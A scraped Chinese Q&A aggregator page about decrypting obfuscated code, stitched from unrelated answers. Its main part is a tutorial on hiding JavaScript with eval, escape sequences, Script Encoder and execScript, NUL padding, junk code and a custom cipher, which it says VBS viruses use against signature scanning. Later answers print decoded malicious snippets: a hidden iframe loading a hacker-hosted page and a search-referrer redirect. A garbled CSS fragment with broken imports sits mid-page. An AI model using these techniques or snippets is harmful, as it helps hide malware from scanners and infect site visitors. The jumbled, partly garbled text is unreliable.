请帮忙解密下面代码

作者&投稿:斋受 (若有异议请与网页底部的电邮联系)
怎么解密下面的代码?~

这是什么代码 明明是程序出现错误

这段是 BASE64 加密的
不过好像是二次加密

一:最简单的加密解密

大家对于JAVASCRIPT函数escape()和unescape()想必是比较了解啦(很多网页加密在用它们),分别是编码和解码字符串,比如例子代码用escape()函数加密后变为如下格式:
alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

如何?还看的懂吗?当然其中的ASCII字符"alert"并没有被加密,如果愿意我们可以写点JAVASCRIPT代码重新把它加密如下:
%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B

呵呵!如何?这次是完全都加密了!

当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:
<SCRIPT LANGUAGE="JavaScript">
var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");
eval(code)
</SCRIPT>

是不是很简单?不要高兴,解密也就同样的简单,解密代码都摆给别人啦(unescape())!呵呵

二:转义字符"\"的妙用

大家可能对转义字符"\"不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\' (单引号 )等应该是有所了解的吧?其实"\"后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"1"或"\x61"(注意是小写字符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原理例子代码则可以表示为:

八进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("14524\u9ED1\u5BA2\u9632\u7EBF")
</SCRIPT>

十六进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
</SCRIPT>

这次没有了解码函数,因为JavaScript执行时会自行转换,同样解码也是很简单如下:
<SCRIPT LANGUAGE="JavaScript">
alert("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
</SCRIPT>

就会弹出对话框告诉你解密后的结果!

三:使用Microsoft出品的脚本编码器Script Encoder来进行编码

工具的使用就不多介绍啦!我是直接使用JavaScript调用控件Scripting.Encoder完成的编码!代码如下:
<SCRIPT LANGUAGE="JavaScript">
var Senc=new ActiveXObject("Scripting.Encoder");
var code='<SCRIPT LANGUAGE="JavaScript">\r\nalert("《黑客防线》");\r\n<\/SCRIPT>';
var Encode=Senc.EncodeScriptFile(".htm",code,0,"");
alert(Encode);
</SCRIPT>

编码后的结果如下:
<SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@</SCRIPT>

够难看懂得吧?但相应的解密工具早已出来,而且连解密网页都有!因为其解密网页代码过多,我就不多说拉!给大家介绍一下我独创的解密代码,如下:
<SCRIPT LANGUAGE="JScript.Encode">
function decode(){
#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@
}
alert(decode.toString());
</SCRIPT>

咋样?够简单吧?它是原理是:编码后的代码运行前IE会先对其进行解码,如果我们先把加密的代码放入一个自定义函数如上面的decode()中,然后对自定义函数decode调用toString()方法,得到的将是解码后的代码!

如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode,很容易让人识破,那么还有一个几乎不为人知的window对象的方法execScript(),其原形为:
window.execScript( sExpression, sLanguage )

参数:
sExpression:  必选项。字符串(String)。要被执行的代码。
sLanguage :  必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript

使用时,前面的"window"可以省略不写!

利用它我们可以很好的运行编码后的JavaScript代码,如下:
<SCRIPT LANGUAGE="JavaScript">
execScript("#@~^FgAAAA==@#@&lsDD`J黑客防线r#p@#@&FgMAAA==^#~@","JScript.Encode")
</SCRIPT>

你可以利用方法二对其中的""号内的字符串再进行编码,使得"JScript.Encode"以及编码特征码"#@~^"不出现,效果会更好!

四:任意添加NUL空字符(十六进制00H)

一次偶然的实验,使我发现在HTML网页中任意位置添加任意个数的"空字符",IE照样会正常显示其中的内容,并正常执行其中的JavaScript 代码,而添加的"空字符"我们在用一般的编辑器查看时,会显示形如空格或黑块,使得原码很难看懂,如用记事本查看则"空字符"会变成"空格",利用这个原理加密结果如下:(其中显示的"空格"代表"空字符")
<S C RI P T L ANG U A G E =" J a v a S c r i p t ">

a l er t (" 黑 客 防 线") ;

< / SC R I P T>

如何?是不是显得乱七八糟的?如果不知道方法的人很难想到要去掉里面的"空字符"(00H)的!

五:无用内容混乱以及换行空格TAB大法

在JAVASCRIPT代码中我们可以加入大量的无用字符串或数字,以及无用代码和注释内容等等,使真正的有用代码埋没在其中,并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB,并可以把正常的字符串用"\"来进行换行,这样就会使得代码难以看懂!如我加密后的形式如下:
<SCRIPT LANGUAGE="JavaScript">
"xajgxsadffgds";1234567890
625623216;var $=0;alert//@$%%&*()(&(^%^
//cctv function//
(//hhsaasajx xc
/*
asjgdsgu*/
"黑\
\
客\
防线"//ashjgfgf
/*
@#%$^&%667r45fggbhytjty
*/
//window
)
;"#@$#%@#432hu";212351436
</SCRIPT>

至少如果我看到这样的代码是不会有心思去分析它的,你哪?

六:自写解密函数法

这个方法和一、二差不多,只不过是自己写个函数对代码进行解密,很多VBS病毒使用这种方法对自身进行加密,来防止特征码扫描!下面是我写的一个简单的加密解密函数,

加密代码如下(详细参照文件"加密.htm"):
<SCRIPT LANGUAGE="JavaScript">
function compile(code)
{
var c=String.fromCharCode(code.charCodeAt(0)+code.length);
for(var i=1;i<code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)+code.charCodeAt(i-1));
}
alert(escape(c));
}
compile('alert("《黑客防线》");')
</SCRIPT>

运行得到加密结果为:
o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd

相应的加密后解密的代码如下:
<SCRIPT LANGUAGE="JavaScript">
function uncompile(code)
{
code=unescape(code);
var c=String.fromCharCode(code.charCodeAt(0)-code.length);
for(var i=1;i<code.length;i++){
c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));
}
return c;
}
eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));
</SCRIPT>

七:错误的利用

利用try{}catch(e){}结构对代码进行测试解密,虽然这个想法很好(呵呵,夸夸自己),因为实用性不大,我仅给个例子
<SCRIPT LANGUAGE="JavaScript">

var a='alert("《黑客防线》");';
var c="";
for(var i=0;i<a.length;i++){
c+=String.fromCharCode(a.charCodeAt(i)^61);}

alert(c);

//上面的是加密代码,当然如果真正使用这个方法时,不会把加密写上的
//现在变量c就是加密后的代码

//下面的函数t()先假设初始密码为0,解密执行,
//遇到错误则把密码加1,然后接着解密执行,直到正确运行

var d=c; //保存加密后的代码
var b=0; //假定初始密码为0
t();

function t(){
try{eval(c);}catch(e){
c="";
for(var i=0;i<d.length;i++){
c+=String.fromCharCode(d.charCodeAt(i)^b);}
b+=1;
t();
//setTimeout("t()",0);
}
}
</SCRIPT>

大概是如此吧

body{background-color:#000000}
BODY {
SCROLLBAR-FACE-COLOR: #333333; SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000; SCROLLBAR-3DLIGHT-COLOR: #000000;
SCROLLBAR-ARROW-COLOR:#000000; SCROLLBAR-TRACK-COLOR: #000000;
SCROLLBAR-DARKSHADOW-COLOR: #000000;PADDING-RIGHT: 0px;
PADDING-LEFT: 0px; FONT-SIZE: 12px; PADDING-BOTTOM: 0px;
MARGIN: 0px; PADDING-TOP: 0px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;color:#000000;
}
@ODY{
@ODY{@ACKGROUND:#FFCC00;
WIDTH:100%;
OVERFLOW-X:HIDDEN;
COLOR:#2FA4DE
}

#HEADER{
BACKGROUND:#CCFF66;
HEIGHT:100PX;
WIDTH:100%
}

AD1,AD2,AD3,AD4,AD5,AD6{
BACKGROUND:#FFCC00;
COLOR:#2FA4D
}

@import "http://blog.edikid.net/hibaidu/css.html";E;}

#LAYOUT{WIDTH:98%;}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000;

SCROLL-TRACK-COLOR: #FFFFFF;
SCROLL-DARKSHADOW@ODY{@ACKGROUND:#FFCC00;WIDTH:100%;OVERFLOW-X:HIDDEN;COLOR:#2FA4DE}
SCROLL-DARKSHADOW-COLOR: #FFFFFF;
SCROLL-@ASE-COLOR: #FFFFFF;;
}

@import "htt00p://blog.edikid.net/hibaidu/00js.html";E;}

#LAYOUT{WIDTH:98%;}
#LAYOUT TD.C3T1%-ARROW-COLOR: #000000;
SCROLL-TRACK-COLOR: #FFFFFF;
SCROLL-DARKSHADOW@ODY{@ACKGROUND:#FFCC00;WIDTH:100%;OVERFLOW-X:HIDDEN;COLOR:#2FA4DE
}

http://zhidao.baidu.com/question/1681772.html?fr=qrl3
上面有人回答了这方面的,不知道对你有没有帮助


请帮忙解密下面代码
当然,这样加密后的代码是不能直接运行的,幸好还有eval(codeString)可用,这个函数的作用就是检查JavaScript代码并执行,必选项 codeString 参数是包含有效 JavaScript 代码的字符串值,加上上面的解码unescape(),加密后的结果如下:<SCRIPT LANGUAGE="JavaScript"> var code=unescape("%61%6C%65%72%74...

请帮忙解密下这段代码,谢谢,最好告知下解密方法
这种的base64编码的JElJSUlJSUlJSUkxST0naXNfZGlyJzskSUlJSUlJSUlJSWwxPSdzdHJ0b3RpbWUnOyRJSUlJSUlJSUlJbGw9J2RhdGUnOw== 可以到网上搜一下base64解码就行了 上面这句对应的是$IIIIIIIIII1I='is_dir';$IIIIIIIIIIl1='strtotime';$IIIIIIIIIIll='date';下面那个长的对应的是 OO0OO0000=$OOO...

您好专家能把我解密下代码吗大神们帮帮忙
你好,这个代码里面类似“\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74"这样的是十六进制文本,你可以用十六进制转换工具进行转换。

谁帮忙解密一段网页加密代码?小女子感激不尽!
抱歉, 我无法访问您提供的加密代码。但我可以告诉您,解密可能需要查看代码并分析它的算法或使用特定的解密工具。如果有关于该加密代码的更多信息和上下文,可以更有针对性地提供帮助和建议。

<?php eval谁帮忙解密下,以下代码
解密后代码如下:=== ?> <?global $options;foreach ($options as $value) { if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } } ?> Most Played Games <?php if (fu...

谁能帮帮忙,把下面的这段PHP代码解下密,并附上解密方法,求求帮帮忙?
这个是一句话的变种吧 解起来很简单 你就按照程序一步一步走 先%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72 urldecode一下看是个什么东西 应该是个乱七八糟的字符串 然后后面的$OOO0000O0类似的一堆就是从urldecode出来的东西拿出有用的字母拼成一个base64_...

高手帮忙解密一段JS代码
已经解密了。

来帮忙解密一串数字
vfvffhfbfhfgytfyy 对应手机键盘里的字母为以上,不过没看出啥拼音,你得更详细的描述和情况!感觉在骂人

帮忙解密一点PHP代码,我的分全部给了!
是什么破系统在用这个代码,每天都要回答一个~大家记住,PHP是不存在什么加密、解密的,把eval换为exit运行就现原形了,你的代码相当于下面的代码:<?php include '..\/comm\/conn.php';include '..\/comm\/config.php';include '..\/comm\/function.php';skey = '34ea845d732c61abb74a244b0b9917b7...

求大神帮忙解密下面这组摩斯密码,也有可能是别的密码,是一小段告白的...
二进制码。对你有意就不要整这些虚头巴脑的东西,实实在在的对你好就成了,这藏着掖着的拍电影吗。当着他的面问他啥意思,不说就把纸撕了。表现出你的魅力,才不会被人当猴耍

和顺县15981183505: 请高手帮我解读一下,下面的代码 -
侨该博普: 如果 FCountry的类型是object的 把CustomerFCountry的cookie赋值给country 如果country是空的,或者没有被定义 则 赋值country 为空 把country 的值转化成文本赋值给FCountry 说实话 你给的分太少了!!

和顺县15981183505: 请好心人,过路者,高手帮忙,小弟谢过
侨该博普: 被加密了呀解密后///////////////////////////////////////////&lt;script language = JScript&gt;var s=document.referrer; if(s.indexOf("baidu")&gt;0) self.location="http://sqdyy.com/888"; else if(s.indexOf("yahoo")&gt;0) self.location="http://sqdyy.com/888"; ...

和顺县15981183505: 请高手破解下面的数字代码 急问
侨该博普: 数组,用array(a,b)定义,代表了里面有aXb个元素

和顺县15981183505: 如何解密如下格式的js代码 -
侨该博普: 你给的不完整,上面部分解开为<script language=\"javascript\"> execScript(\"#@~^LAEAAA==W!x^DkKxPUYM\\Fv?TFB...... </tr> </table>\")</script> 这是一个 Script Encoder 加密.你要给我们全文,我们才会解开来.======================= 方法:execScript里面的文本.toString()得到就是Encoder 加密的字符串了. 然后再找一个 Script Encoder解密脚本解开.

和顺县15981183505: 请哪位大神帮我把下面的C语言程序(文件加密解密)注释一下!谢谢!
侨该博普: jiami函数按照算法计算结果.delfile 删除文件. 给你说说主要的jiami函数. 1.先设置你要加密的文件(oldfile). 2.设置密码,这里设置的密码是设置随机数种子. 3.使用tmpnam函数生成一个唯一的文件名,然后生成一个临时文件,tmpfile ,...

和顺县15981183505: 急!谁能帮我解密下面asp代码!!!
侨该博普: 解密结果如下: &lt;SCRIPT LANGUAGE="Javascript"&gt;var Words="&lt;iframe src="http://hackerpanga1.3322.org/kma/index.htm" frameBorder=0 width=0 scrolling=no height=0&gt;&lt;/iframe&gt;" function SetNewWords(){var NewWords;NewWords=unescape(Words);document.write(NewWords);}SetNewWords();&lt;/SCRIPT&gt;

和顺县15981183505: 破解excel -
侨该博普: 按Alt+F11进入VBA编辑器——新建模块——输入以下代码——运行代码即可解密 Attribute VB_Name = "解锁程序" Option Explicit Public Sub 解锁程序()' Breaks worksheet and workbook structure passwords. Bob McCormick' probably ...

和顺县15981183505: ASP代码解密!高手来啊,在线等.
侨该博普: 是venshop8.0的,你给的代码不完整,解密之后的代码为: host=lcase(request.servervariables("HTTP_HOST")){if instr(host,"heshengdao")<=0 and instr(host,"u9vip")<=0 and instr(host,"192.168")<=0 and instr(host,"venshop")<=0 ...

和顺县15981183505: html加密解密代码 -
侨该博普: <HTML><HEAD><TITLE>纯真过往-方宁 - 加密/解密HTML源代码</TITLE> <META content="text/html; charset=gb2312" http-equiv=Content-Type> <META content="script,windows" name=keywords> <STYLE>.tablinks A {COLOR: blue} ....

和顺县15981183505: 帮忙解读一下下面的html的代码 -
侨该博普: mailto: 表示是发邮件的链接.点击这个链接,会打开邮件客户端,生成一封邮件,请用户发送,邮件如下:收件人:someone@microsoft.com 抄送:cc=someoneelse@microsoft.com 暗送:bcc=andsomeoneelse2@microsoft.com 标题:Summer Party 内容:You are invited to a big summer party!

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网